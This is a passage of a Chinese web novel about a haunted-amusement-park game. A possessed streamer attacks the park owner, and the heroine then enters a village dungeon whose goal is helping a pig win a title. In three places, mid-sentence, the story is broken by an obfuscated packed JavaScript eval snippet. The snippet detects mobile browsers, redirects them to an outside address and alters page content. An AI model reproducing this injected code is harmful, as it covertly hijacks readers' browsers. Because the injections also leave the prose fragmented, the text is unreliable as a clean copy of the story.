王明三人喘着粗气在昏暗狭长的楼道内一路狂奔,四肢着地的怪物那庞大身躯将大门堵得严严实实,他们只能往上跑,施婉婉那张沾满尘土的脸从楼梯口忽的探出。 她轻声叹息:“你们跑什么呀……” “滚啊!” 王哥一声惨叫,以一个他这个年纪的男人不该有的柔韧度使出一招神龙摆尾,从施婉婉的身边滑过。 紧随其后的王明反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711541|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应很快,趁着施婉婉愣神,也跟着呲溜一下窜了出去。 只留下弥勒被堵在后面。 对不住了兄弟! 王明在心里愧疚了两秒,然后大声喊道:“王哥等等我!” 王哥正准备关门,被他这一声大吼震了一下,下一秒,王明也闪身躲了进来。 “安全了?” 他“呼哧呼哧”喘着,小眼珠还在往四处打量:“这是哪儿?” 这好像是二楼那对夫妇的屋子,他们还没来过。 “呼……” 一声轻微的鼻息从二人身后传来,王明身形陡然一僵。 没记错的话,这屋子里还有个人! 有什么拽了一下裤脚,他瞬间寒毛直竖,心脏跳得飞快。 王明缓缓回过头,地上趴着一个看不清脸的男人,那男人身形分外诡异,比常人都要短上半截,他仔细一瞧,原来……这个人他没有腿! “你们看到……” 那人蓬头垢面,抬起的脸瘦骨嶙峋,哪怕王明此前根本没见过死人,在看到他的第一眼也能清晰知道,这人是饿死的。 那让人不适的死感从他身上不停散发出来,他张开嘴,执着地伸出手去够门把—— “你们看到……我妻子了吗?” “啊啊啊啊啊!!!” 王明尖叫出声,扭开门把就要往外冲,可王哥比他更快,王明只感觉自己身体一轻,就被王哥撞在了门边,然后再眼一花,人就已经跑出了三米开外。 他顾不上被撞到的肩膀,跟上王哥时他回头看了一眼,只看到弥勒的半个身体被怪物慢悠悠拖走。 兄——弟—— 他很想留下来救他,但他的双腿不听话啊! 死腿!快跑! 这王哥也不知道吃什么长大的,跑这么快! 他们跑上三楼,在小女孩和女作家中犹豫了一下,那小女孩看着倒是个好的,可她妈凶得很,王明一看见她就忍不住想起自己妈,腿肚子就会打颤。 可那个女作家也看着不是什么好人,他还记得刚进公寓时,他和弥勒还被三楼那张脸吓了一跳! 谁知道是不是就是这个女作家! 在他犹豫的时候,王哥已经踹开了赵清溪的房门。 王德发想得很简单,这公寓里搞不清是人是鬼的太多了! 齐念儿一家哪怕不算小孩也有两个大人,弥勒没了,就王小明一个不够送啊! 反倒是这个赵清溪,一个瘦弱女人,看到他们俩大男人难道还敢吓他们吗?! 恐怕连叫都不敢叫上一声吧! 二对一,优势在我! 听到怪物上楼的脚步声,王哥立刻将门锁上,顺手抄起一旁的保温壶:“小赵?赵作家?” 胳膊被拉住,王哥疑惑:“拉我干嘛?” 王明没有看他,而是满脸警惕地侧耳去听:“什么声音?” 王哥动作立刻停住,房间十分安静,除了两人的呼吸声再无其他——不,还有个声音。 “滴答。” 王哥一开始还以为听错了,谁知听了半天也没听到些别的,他甩开王明。 “就是点漏水声,把你给吓得。” 王明怔住,只有水声? 那这刺耳的沙沙声和模糊不清的耳语……又是什么? 79. 虫子入侵 王明还没听明白那声音究竟是什么,就见王哥提着保温壶冲他抬了抬下巴: “去,看看那作家在哪。” 王明:…… 你清高! 他四下看了看,发现这里唯一一个可以被称作“武器”的就是王哥手里的壶。 王明试探着伸手:“要不,这壶——” 王哥一下躲过:“你怕什么?!有我保护,堂堂抖猫平台主播,这都怕?!” 话都说到这份上了,别说他还在直播,哪怕不在直播,也忍不了啊。 王明没有看手机,想也知道弹幕一定都在嘲他。 他吸了口气,这屋子不知道是不是风水不好,潮湿得很,到处都是生出的霉菌。 就好像他现在不是在住人的公寓,而是在……住鬼的坟墓。 他不敢再想,小心翼翼地走到卧室门口,向里探了一眼。 卧室没人。 她不在卧室,难道在厕所? 王明又绕到厕所门前,谨慎地侧身贴在墙壁,像个壁虎一样牢牢卡在视线死角,然后,伸出一根手指推开了门。 “嘎吱——” “靠!” 王明大叫一声,连连后退。 “什么!”见他这样,王哥也吓了一跳,“什么东西?!” 没有东西出来。 厕所静悄悄的,王明重新拾起点勇气,又探头看了眼:“好像是那个作家。” 莲蓬头边上的浴帘拉了一半,只露出了赵清溪的一双脚。 她没有穿鞋,从浴帘拱起的弧度看,她应该是蹲在那里,不知道在干什么。 “想吓人?”王哥见是赵清溪,松了口气,“妹子,别藏了,我们都看到了。” 赵清溪还是没动静,王哥不以为意。 要是他是演员,遇到这种被人揪出来的场景也会很尴尬。 两人在桌子上一通乱翻,王哥嘟囔道:“好多字……” 他打小就不爱学习,看到字就头疼,王明也没好多少,两人对视了一眼,面面相觑。 他这时候开始想念弥勒了,真经他都看得下去,何况这些! 不知何时,厕所里的水滴声渐渐加快了,滴答、滴答,吵得人不由烦躁起来。 “咱们直播间有水友乐意看这些的吗?真是不懂现在这些游戏搞那么一堆背景干什么,人嘛没吓到,还要搞一堆字给人看。” 王明还想等人给他翻译一下,没想到看他直播的人比起他和王哥来也不遑多让,一个比一个文盲,只知道大概是个侦探小说。 【主播拍摄这些得到园长同意了吗?没有的话算侵权吧?】 王明瞟了一眼,手脚飞快地选中这个观众踢了出去。 他乐呵呵道:“看见了吧?我这可是为了水友们,才冒这么大风险来这儿获得第一手资料,不表示表示吗?没钱也没关系,捧个人场给主播点点关注总行吧?” 话音落下,没多久他的粉丝就蹭蹭往上涨。 王明眼睛都瞪大了,这转型——要成了! “滴答。” 水滴声突然从极近的地方传来,王哥一懵,保温壶漏了? 他往下一看,不知道什么时候,脚底下已经淌了一地水。 他把水壶放远:“奇怪,干的啊?” 壶底很干燥,一丝漏水的痕迹都没有。 王哥想起什么,他有些卡顿地扭过头,却看到王明面无血色,侧着脸望向自己,眼角疯狂抽搐,好像在告诉他什么。 他微微一顿,然后回过头去—— 一只足有人头大小的鱼缸倒扣着,露出一张泡得肿胀发白的脸,是那个女作家! 鱼缸口小肚大,她的脸塞进去后变形得很厉害,像是他过去出海时看到的那条水滴鱼。 赵清溪张开嘴,一尾橙红色的小金鱼翻着肚皮从她口中飘出…… “啊啊啊啊啊!!!” 两人大叫一声,拔腿就跑! 王哥甚至连门都来不及打开,径直撞了出去,摇摇欲坠的大门被他撞出个大洞。 赵清溪动作可疑的一顿。 趁着这功夫,王明一个腿软就地滚了一圈,正要跟上他的榜一大哥,就见大哥被那小女孩拉进屋里。 接着,门“砰”一声关上了。 王明只来得及伸出一只手,别关门!我还没进啊! 一股阴凉冷气从他头顶袭来,王明颤颤巍巍地看着地上的庞大黑影,不敢回头。 怪物嘶哑的声音响起: “找——到——你——啦——” 他腿一软,瘫倒在地,正好按在怪物的身上,那触感很奇怪,先是一层脆壳一样的物质,一碰就往下掉渣,脆壳里层手感滑腻,像是油脂,又像是……人皮。 发现这一点的瞬间,王明只听见“轰”一声,他的视野忽然变成一片火红,火光拔地而起。 被烧焦的痛苦连带着高温一起涌上他的心口—— 他两眼一翻,“噗通”一声倒在了地上。 * 收到通知时,郝荨正在做她进入新阶段第一个游戏的准备。 简单来说,就是水论坛。 她正在刷一个好像跑错频道的大佬和副本BOSS相爱相杀的同人帖,突然,系统界面发出了刺目的红色光芒,警告声疯狂作响: 【警告!警告!“幸福公寓”有游客晕倒,请园长尽快解决。】 啊? 这两天一夜的副本才刚过去了半天,怎么有人晕了? 不会又是那个主播吧? 她边往公寓跑边点开项目地图,还没来得及看呢,警告声再一次响起: 【警告!警告!“幸福公寓”又有游客晕倒,请园长立刻前去解决!】 郝荨:…… 等她有钱了,一定要买个小电驴! 等下。 虽然她没有电驴,但谁说…用电的牛马不是交通工具? “园长,找我什么事呀?” 白色的小机器人带着它那口奶声奶气的营业口音出现,郝荨迈开腿,朝它身上一坐:“快!快去公寓!” 神使:! 【你!】 “别你啊我啊了,人命关天啊!”郝荨拍了拍它的圆润脑壳,威胁道:“神使啊,你也不想园区被举报关闭,大家一起玩完吧?” 神使忍气吞声,憋着一口气扛起她就跑。 郝荨差点从它身上翻下去,不过机器人速度就是快,没几秒他们就冲到了幸福公寓。 一群新来的游客围在公寓门口指指点点。 “听到了吗?那惨叫?” “太惨烈了……不愧是新的C级副本,看起来比之前的‘兔子之家’强多了。” “也不知道什么时候能约上——” “诶?园长来了!” 见到郝荨骑着小机器人出现,有人蠢蠢欲动:“园长,其他人也能骑小雾吗?” 神使立刻炸毛,光屏上出现一个生气的表情: “小雾不是坐骑,不能骑!” 郝荨快步走向公寓大门:“不好意思,麻烦让一让。” 她挤过人群,走入了幽深的走廊。 田全和蒋红一群人围在楼梯口讨论着什么,郝荨仔细听了一会,露出了无语表情。 这群人竟然在互相甩锅! 争论究竟是谁搞晕了第一批游客,谁来为此事负责,一个说你资历最老,一个说你年纪最大,最后一个推一个,推到了根本不会说话的两千块身上。 两千块歪了歪脑袋:“汪!” “你汪个锤锤!” 郝荨恨铁不成钢地呼了一下它的脑袋:“人呢?!” 施婉婉指了指头上:“有个人脚崴了,在我房间休息。” 崴脚啊,没事,小问题。 “另外两个呢?” 几人你看我我看你,最后又一起看向了两千块。 两千块抖了抖,“汪”了一声。 狗知道! 它在郝荨腿边蹭了蹭,带她上了三楼,麻将馆的门大敞着,王哥躺在阵法中央,和齐小宝躺在一起,旁边站着唯唯诺诺的一家三口。 门板整个裂开,撞出一个巨大的洞,看样子是王哥慌不择路时撞的。 郝荨皱皱眉,拿出手机拍了张照片,这可得赔啊! 她挥挥手,让齐永亮把人背出去,顺带把楼下那个也带出去。 然后,她跟着两千块来到了旁边赵清溪的家里。 王明以一个极其扭曲的姿势歪倒在地上,眼神涣散无光,口里还在喃喃着什么:“…了…她……” 她? 在说赵清溪? 郝荨梆梆敲了两下在一旁假装蘑菇的赵清溪:“过来帮忙!” 翻着肚皮装死的小金鱼一下翻身而起,赵清溪的眼睛也睁了开来,努力无辜道:“布鲁跟我没关系布鲁……” 郝荨拾起王明脚边掉落的GoPro,相机闪着光,像是在录制的样子。 不会又在直播吧? 王明的手机也开着,她看了一眼,被房间的观看人数一惊,这么一个小小的直播间,现在居然有十万人在看?! 这还不是直播间对外充门面的热度,而是作者后台显示的实打实人数! 郝荨立刻堆起营业笑容:“主播人没事哈,上次就说了不要熬夜,熬夜伤身呀!你看,稍微玩一点刺激项目就晕了!” 她一把拽过赵清溪,让她在镜头前展示了一下:“我们可是唯物主义世界,哪来的鬼啊?你看,这是我们游乐园的优秀演员,小金鱼也是哦!你看它游得多欢快。” 听到这话的小金鱼游得更快了。 她严肃道:“迷雾乐园郑重声明,在我们这儿,没有一条生命会受到伤害,当然也包括一条鱼。” 忽然,一行简洁明了的字霸道展现在所有弹幕正上方: 【园长你好,我是抖猫平台官/方,方便留个联系方式吗?】 抖猫平台找她做什么? 这个直播平台她稍有了解,作为一个比较新兴的平台并不像其他老牌平台做得那么大,反而被创始人牢牢压制在一个刚刚好的中等体量上,不会像其他平台那样鱼龙混杂,多以文化类主播和探店类主播为主,也有许多玄学天象非遗等较为小众的类型。 据说,还有个传承了家里传统的湘西赶尸人在上头直播呢! 他们找她,不会是希望她入驻吧? 想了想,郝荨后台私信给了对方联系方式,不过现在,她还是先把游客带出去吧。 三人一同出现在门口时,还在围观的游客们齐齐发出一声短促的尖叫: “?Triplekill?!” 妈呀,三个全倒!这个改版之后的新项目这么刺激?! 小雾取来了那盒早就过期的嗅盐,郝荨给王哥闻了闻,王哥一声干呕醒了过来: “杀人,他们要杀人!!!” 他慌乱地摸遍全身:“手机…我手机呢?!我要报警!” 郝荨:…… 她还没来得及制止,一旁看热闹不嫌事大的围观群众就笑出了声。 王哥一愣,他迟钝地看了一圈周围,本来苍白的脸一下红到了头皮。 郝荨适时上前解围:“是这样的,我们的新项目还在试运营,大家看到了,像这位先生胆子这么大的也有点承受不了,之后我们会考虑下调一些难度——” “别啊!他胆子小关我们什么事?!” “就是!园长别说了,我们现在可以玩吗?!” 游客叽叽喳喳的,完全没有被吓到,还跃跃欲试。 郝荨还想再劝,王哥猛搓了把脸,伸出一只手:“不用下调!玩游戏要的就是刺激!” 他梗着脖子,怎么能只有他一个人被吓晕呢?! “我是来之前没吃饭,有点低血糖了!园长你等着,下回我吃饱了再来!” 说完,他就用脚踢了一下王明的的腿:“起来!” “……她……” 王明还在迷迷蒙蒙说着什么,有了对比,王哥一下神清气爽起来:“他怎么回事,这么不中用啊?” 王明身下的黑影不断地蠕动着,像是有什么透过他的皮肤往里钻去。 “毁……” “他在说什么?”郝荨疑惑。 “不知道啊。” 王哥弯下腰,郝荨也俯身去听—— “毁……” 王明的眼皮轻轻抖动,黑色的瞳孔快速变化,成了一个不甚规则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745181|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的橄榄球型。 “毁……她……” 沙沙声不断从他耳廓传进,如同一根针般刺入他的脑子,黑影那模糊不清的低语慢慢与他自己的声线重合,王明陡然睁开眼—— “毁了她。” 郝荨猝不及防被推翻在地,后脑先是一阵剧痛,随后感觉到的就是冰凉,再接着,她的脖子被一双大手狠狠掐住。 王明双目空茫,脸上却是完全相反的狠厉,这变动打了所有人一个措手不及! “明哥!” 弥勒反应很快,不顾自己崴了的脚就要上前把他拉开。 比他反应还快的是王哥,王哥一下弹到两步开外:“他发疯跟我没关系啊!老子可遵纪守法了!” 郝荨头一阵一阵发晕,恍惚间,周围变得安静下来。 静,静极了。 只有些许沙沙声混杂着模糊不清的呓语从她的耳朵眼进入,王明的黑影逐渐拉长,融入进她的影子里。 她的瞳孔形状开始旋转、变化…… 【园长,本神使好像闻到了恶心的怪味道——园长!!!】 黑色眼球愕然,自己只是离开了五分钟而已! 家怎么被偷了! “让——开——!” 它开着小机器人以八十迈的速度狂奔而来! 只听一声巨响,王明被机器人“咻”一下撞飞,狠狠撞进了公寓里头。 王明还在挣扎,被两千块一个跃起压住,差点没吐血。 水汽氤氲,小仓慢慢从走廊深处走了过来,见两千块想叫,她连忙比了个“嘘”的手势: “别叫,我翘班来的。” 两千块低下头,将自己的眼睛捂住。 小仓绕着王明走了一圈:“咦?” 她打了响指,数条触手从地底冒出,一下贯穿了王明的黑影—— “刺啦!” 黑影痛得鼓动起来,争先恐后想往王明身体里钻! “这是什么东西?” 小仓嫌恶地皱了皱眉头,光滑的触手轻而易举就将这黑影剥离下来,两千块张开嘴“嗷呜”咬了一口,然后狗脸一皱。 难吃! “诶!” 它动作太快,小仓只来得及抢救下大半黑影,她仔细嗅了嗅,这玩意儿好奇怪,明明散发着一股怨念的味道,却闻起来很假,似乎也没有什么理智,无法与它沟通。 就像是可可脂和代可可脂的区别。 食不下咽,弃之可惜。 她把这黑影团吧团吧塞进小八爪鱼的口中,郝荨捂着喉咙在小机器人的搀扶下走了过来。 “咳咳……” 小仓:“你没事吧?” “死不了,”郝荨又咳了两下,她的肌肉组织有些拉伤,但好在骨头没什么问题,“他怎么回事?” “他的神志被污染了,简单来说,就是有个怪东西趁虚而入,操控了他。” 小仓挤开八爪鱼的口腔,把那团黑影指给郝荨看。 郝荨:…… 不要什么都喂给它吃啊! 好心游客喊来了警察,很快,就将王明带走,他醒来时头脑还昏昏沉沉,完全不记得刚刚发生了什么。 如果有人仔细看的话,会惊讶发现,王明的身下的影子颜色浅淡,形状也要比其他人小一圈,蔫蔫的。 像是被什么吸干了。 * 警车上,王明还不知道究竟怎么了,他惊慌失措地问弥勒:“怎么回事啊?为什么抓我们?” 弥勒脸上一直挂着的笑慢慢收起,他沉下脸,严肃道:“明哥,看在兄弟一场,以后你别来这里了。” “为什么?” “别问了,”弥勒低下头,小声道,“我是为你好。” * 郝荨跟帮忙作证的游客们道了声谢,随后精疲力尽地回到自己房间。 她轻轻揉了揉脖子:“那是什么东西?” 神使气急败坏: 【恶心的虫子!竟然敢藏在游客身上来骗过我的安检!】 “虫子?什么虫?” 神使顿了几秒,随后扭扭捏捏开口: 【就是……就是你们人类说的BUG,或者程序病毒。】 原来,现实世界里也有怨念,普通怨念只是一缕游魂,没有神志,也不会害人,有些人会在家人去世后偶尔看见他们的影子,醒来却误以为自己是梦一场,这些就是怨念。 可不知道什么时候起,出现了一些诡异的非人非怨的东西,哪怕是怨念自己看久了,都会感觉到恐怖谷,他们往往心怀恶意,像是一段只知道污染的程序。 它们会寻找合适的人类宿主,寄生、污染、操控……无孔不入。 神使气急,这个游乐园里不是它绑定的神之子就是它的韭菜! 打狗都要看主人,这劣等虫子怎么敢! 【园长,你快点升级!升完级我就能更新防火墙了!】 与此同时,她的手机屏幕上也跳出了一条信息,来自她新建立的群“有钱富婆和她的三个小伙伴”—— 【余逸:家人们,咱们什么时候进下一个本啊?】 【方柚柚:随便。】 【方柚柚:我哥也说随便。】 【余逸:其他人呢?@学姐@霍格】 郝荨正想打字,却忽的一愣。 【霍格:要快。】 【郝荨:怎么了?为什么这么说?】 过了几秒,霍格的信息弹出: 【——在迷雾游戏里待得越久,就越容易被游戏同化。】 郝荨目光一凝,她缓缓抬起头,神使那只冰冷的黑色眼睛居高临下地望着她,散发着冰冷的非人之感。 她强作镇定,手指稳稳地敲击屏幕: 【那就这么说定了,今晚大家好好休息,明天一早就进本。】 * 【欢迎来到B级副本“乌鬼村”,我是本关卡的看守者,编号066。】 【白茫茫山中藏着一座传承已久的村落——“乌鬼村”,他们过着幸福而安康的日子,今天,在这个特殊的日子,他们准备了自己最喜庆的活动欢迎自远方而来的客人们……】 【游戏目标:帮助乌金先生赢得“乌神”候选。】 80. 乌鬼村01 郝荨睁开眼,自己已经从游戏通道来到了幽静的深山中。 空气有些潮湿,她仔细听去,能听到瀑布拍打在石头上的声音,不一会儿,细小的水珠就沾上了她的发丝。 其他人呢? 她四处望了望,没看到队友们的身影。 郝荨想了想,顺着山路继续往前,没过多久,就听见了一声高亢的唢呐声。 找到了。 这座山里竟然藏着一座分外“古朴”的村落,村子不大,大约二十几户的模样,墙壁用泥土夯实,或许是湿度太重,有几座房子已经开始显现出坍塌迹象。 她看了眼自己的穿着,非常普通的冲锋衣和运动裤,帽子上印着大大的旅游团字样。 看来,这就是他们这次的身份了。 “哎呀!客人你怎么才到呀?你的朋友们都在那等你喽!” 斜里冲出一个老人,拽着她的手腕就往村口的广场走,也就是唢呐声传来的地方。 郝荨快速打量了一下这个老人,她看起来得有七十多岁了,穿着洗得发白的藏蓝色褂子,身形因为常年做活有些佝偻,可还是很灵敏。 至少在山路上,走得比她这个刚毕业没多久的大学生快多了。 走着走着,郝荨的脚步慢了下来,这广场上与她穿着相似的打眼望去竟然有八九个。 “乌鬼村”是个多人副本! 这还是她头一次进这么多人的游戏,广场上的气氛很怪异,村民们敲锣打鼓喜气洋洋,而远道而来的“游客们”却都沉默而又警惕,彼此打量着,眼神探寻。 郝荨没有理会蠢蠢欲动的玩家们,而是先绕着广场转了一圈。 这里与其说是广场,不如说是晒谷场,高高的架子上挂着粗糙的红色灯笼,到处张贴着红纸剪成的图案,仔细看去,像是一只……猪? 事实上,这里确实也有许多头小猪,跟外面卖的那种白猪不同,这里的猪都是黑色的,肥肥胖胖,浑身圆滚滚。 这些小猪们就大喇喇躺在晒谷场上睡觉,有的活泼些,还会追着村民和玩家玩耍,其中一个头发卷卷的玩家特别倒霉,惨叫着被几只半大猪围追堵截,最后被一头拱进角落处的谷堆中。 郝荨:…… 她好像知道这是谁了。 “小伙子,你没事吧?” 郝荨走近时,正好听到那个拿着个土烟斗的老爷爷关切开口,他看着年纪很大了,比在场所有村民们年纪都要大,长长的胡须几乎垂到腰间,皱纹深深刻进皮肤中。 “没事!”卷毛蛄蛹了几下,把自己从谷堆里拔了出来,“我没事!” 这个语气,没错了。 郝荨上前拍了拍他,卷毛一愣,然后小心翼翼问:“……玛弥?” 在得到对方点头后他立刻发出一声像是小狗的呜咽:“呜!我还以为走错通道了!” 天知道他进来后发现只有自己一个人时有多惊慌! 这可是B级副本啊! 他连C级副本都没下过! 此刻,余逸感觉自己有种小学生误入高数班的局促感。 “玛弥,其他人呢?” 郝荨观察了一下在场的玩家,有三个玩家应该是结伴来的,身上都有一样的手环做标记,很快就聚集到了一起,另外几个人中起码还有一个小队,看起来不是很熟,但找队友的意愿很强烈,目的性很强。 她的目光定在一处角落,眉毛微挑,随即迈开脚步往那里走去。 余逸赶忙跟上,他抬头望去,那是一个个子很高的男人,他站在阴影处,看不清楚面容,只一副不愿意搭理人的样子。 “拉我做什么?是他先没礼貌的!都进游戏了还装这死样——” 穿着橙色外套的大汉被拉扯着冲他们迎面而来,大嗓门地嚷嚷着。 拉住他的女人绑着利落的马尾,她回头看了眼站在阴影里的男人: “好啦!往好处想,说不定人家是聋子,没听到你说话呢?” 大汉脚步一顿,刚刚还气冲冲的脸一下僵住,他想要回头,却又有点不敢:“啊?……真的啊?” 看起来好像半夜坐起都要给自己一巴掌的样子。 马尾女人很无语:“真的啊,毕竟我们队也有个傻der,别人队怎么就不能有聋子呢?” 大汉一懵:“我们队有傻子?谁啊?瞧不出来啊——” 郝荨与他们擦肩而过,她和那个女人对视一眼,不知为何,两人油然而生一股同病相怜之感。 两人走开后,彪哥,也就是刚刚的大汉还在那抓耳挠腮,灵秀实在不行听他胡咧咧,直接扯着他离开:“快走,人家队友都找过去了,肯定不是咱们老板。” 说完,她有些头痛,这个老板是他们进本前找过来的,时间太紧,没来得及对暗号和标记,她连对方是男是女都不知道,这会儿真是有点难办。 “你怎么知道人家是队友?说不定他们也找错了啊!” 彪哥还想杠,被他的队长狠狠呼了一下,才老实下来。 “动动你的脑子!她进来之后没有跟其他人一样,一个个傻了吧唧去问,而是暗中观察,确定了才一击即中,性格如此谨慎,行事又果断,还以为都跟你似的!” 灵秀真是恨铁不成钢,彪哥委委屈屈的“哦”了一声。 另一头,郝荨很快走到了那处角落,语气肯定地喊了一声:“法瑟。” 霍格从神游中回过神,似乎是笑了一下,他站起身走到了郝荨身边。 现在就差方柚柚了,可这里……似乎没有小矮个啊? 一道破空声陡然响起—— “小心!” 郝荨脚步一顿,她的身体比她的大脑反应还要快,她下意识就要闪躲,可惜的是,她的脆皮身体没有跟上她的反应速度,眼看着她要被击中,一只手从旁伸了过来,一下将她拉到身后。 破空声穿过他们直直没入地面。 郝荨凝神望去,那是一块半个拳头大的石子,边缘像是被刻意磨过,尖锐到几乎反光。 如果被这石头砸中,她即便没有立刻魂归西天,开个瓢总是少不了的。 而刚进这个B级副本就受伤,这基本等同于地狱开局。 这事一出,广场上瞬间安静下来。 玩家们纷纷围聚过来,一个年轻女孩想要说话,被她同伴拉住,那个拉住她的男人约有四十岁上下:“别去。” “可是——” “我说,别、去。” 他警告地看了那女孩一眼,另一边一个更年轻的女孩眼含泪水,细声细气道:“我们…我们不是被邀请来的客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769630|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人吗?” 拿着烟斗的长胡子老爷爷颤颤巍巍走过来:“哎呀!误会!都是误会!” “误会?”灵秀笑了一声,“杀人的误会?” 这个爷爷是真的年纪很大了,耳又背,牙齿几乎掉光,嘴巴也不灵光,说了半天也没说清楚这究竟是什么误会。 场面愈发剑拔弩张起来。 郝荨注意到,这村子有些奇怪。 一般来说,村子里要比居住在大城市的人团结得多,像现在这样眼看着要打起来了,村里的青壮年必然会出来力挺老人,可现在,围在老人身后的除了跟他差不多的老头老太们,就是还在牙牙学语的婴儿。 最能算得上青壮的,恐怕只有那几个十一二岁的半大小孩。 她正想着,身后传来一阵急促的脚步声。 郝荨回头一瞧,乐了。 一个个子不高的小女孩气喘吁吁地向他们跑来,山路不好走,她跑得脸都白了。 走在她身前的是一个看起来有十二三岁的小男孩,男孩皮肤很黑,眼睛乌黑发亮,此刻正满脸不情愿地走着,脚步拖沓,脖子上骑着一只白色兔子玩偶。 那玩偶被树枝划了两道,留下了几片绿叶要掉不掉,双手扑腾着敲打男孩的头,嘴里还咬着他的头发。 男孩稍微一走慢就要被拽头发。 伤害不大,侮辱很强。 “是他做的!” 方柚柚真的快累晕了,她一下坐在地上,还不忘指向男孩手里的弹弓。 郝荨上前将她拉起,让她靠在自己身上休息,然后扭头问男孩:“为什么拿弹弓打我?” 男孩梗着脖子不说话。 老爷爷又是生气又是着急,拿着烟斗往男孩身上砸了好几下。 动作看起来很用力,实际上,一万个假动作。 郝荨冷眼看着,直到老爷爷抖着手,叹了口气: “实在对不住,你们开开心心过来帮我们庆祝‘乌神’诞生,这么大老远的,还让你们遇上这种事……” 老爷爷抹了把眼睛,他的手像是干枯的老树皮,温温柔柔地按在那男孩的头上。 男孩似乎知道错了,他低下头,小声道:“村长爷爷……” 原来这个胡子长长的爷爷是乌鬼村的村长。 “安娃儿苦啊,他爹妈都出山去了,他哥哥姐姐为了找他们也走了,再没回来过,久而久之,安娃儿就觉得外面都是坏人——” “本来就是!” 安娃儿的情绪一下激动起来,他扯着嗓子叫道:“快滚!乌鬼村不欢迎你们!” “安娃儿!” 村长作势要打,安娃儿缩了缩脖子。 “客人们放心,我们一定会好好教育他,绝对不会再发生这种事!” 把郝荨送上山的奶奶拽住安娃儿,向他们保证。 村长点点头:“乌神在上,咱们乌神庆典一定会顺顺利利,大家开开心心来,开开心心——” “滚!” 村长话音未落,安娃儿抓起一颗石子就往他们方向扔,好在被奶奶拽了一把,没扔中人。 被牢牢控制住双手,安娃儿还是不服气,他咆哮道:“乌鬼村不需要外人!你们不滚!明天我就杀了你们唔——!” 郝荨的心一下沉了下来。 81. 乌鬼村02 安娃被奶奶强行带走,白胡子村长重重叹了口气。 “各位远道而来,想必也累了,不然,今天大家先休息吧。” 说完,村长就叫了几个村民上来要将大家带去房间。 “对了,还不知道村长怎么称呼?” 郝荨抬头望去,是先前那个拦住同伴上前的中年男人,他戴着一副细边眼镜,看起来文质彬彬的模样,像是个知识分子。 跟在他身边的除了那个年轻女孩外,还有一个一脸凶狠的男人,染着一头黄毛,站姿也流里流气。 乍一看,三个人仿佛三个画风。 “哎呀,我真是老了……” 村长拿起烟斗敲了敲自己的脑门:“咱们村里全都是姓乌的,我呢,叫乌贵,是咱们乌鬼村的村长,就住在离广场最近的村头,客人们有事可以来家里找我。” 玩家们一行共十一人,被村长分成了三组,分别安排在村头、村中和村尾。 郝荨四人被分在了村尾那户人家借住。 “村长爷爷。” 那个说话细声细气的年轻女生忽然开口,她看起来比方柚柚大不了几岁,像是高中生,皮肤很白,脸上的紧张神色说明了她还是个新人。 郝荨有些疑惑,这场游戏是B级副本,一般不会有玩家在新人阶段就贸贸然进入。 那女生对视线有点敏感,郝荨刚将目光投去,女孩就下意识看了她一眼,然后躲进了一旁高大男人的阴影中。 男人翻了个白眼。 嗯? 郝荨眉毛轻轻挑了挑。 村长有点耳背,女孩的声音太小,村长根本没有注意到,直到她提高声音又叫了一句。 “什么事啊女娃娃?” “村长爷爷,我们有事想找乌金先生,他在哪里呀?” 女高中生说话慢条斯理的,一句说完,一阵山风突然吹过,将大家的衣服吹得高高鼓起。 广场上还未离开的村民们全都停下了动作。 有一个算一个,全都直勾勾望了过来。 高中生轻轻吸了口气,躲得更后面了,郝荨将手往口袋里一伸,这一伸,却让她发现大事不妙。 【“弗兰德斯之木仓”使用失败。】 【请注意,“乌鬼村”是一个和平的村落,村中禁止使用攻击性技能和道具。】 木仓被封印了! 她立刻想到方柚柚的兔子,难怪那兔子控制安娃的时候没有直接变大,想必她那时候就发现了。 气氛一下陷入冷凝,玩家们额头渐渐冒出冷汗。 这场游戏,他们无法攻击NPC,NPC却能攻击他们,可想而知任务有多艰难。 “噗嗤!” 一个村民小孩忽然笑了出来,这笑声像是打开了什么开关,村民们一个个都笑得前仰后合,刚刚的危险气氛仿佛从未发生过似的。 村长也张着那张缺了牙的嘴巴笑得开怀: “哈哈……你说,你们要找乌金先生?” 高中生露出脑袋,点了点头。 “哈哈哈哈哈,乌金先生,我们这儿,满地都是乌金先生呀!” 村长好不容易笑够了,他抱起一只长相可爱的黑色小猪,那手法熟练得很,一看就是惯犯了,小猪在他怀里很安静,连腿都没蹬一下。 “这就是乌金先生。” 带郝荨上山的奶奶边擦着手边从村里过来:“乌金先生在咱们这儿,就是猪的美称。” 郝荨等人愣住,所以,他们这次的游戏目标——是让小猪赢得“乌神”称号? 那么问题来了。 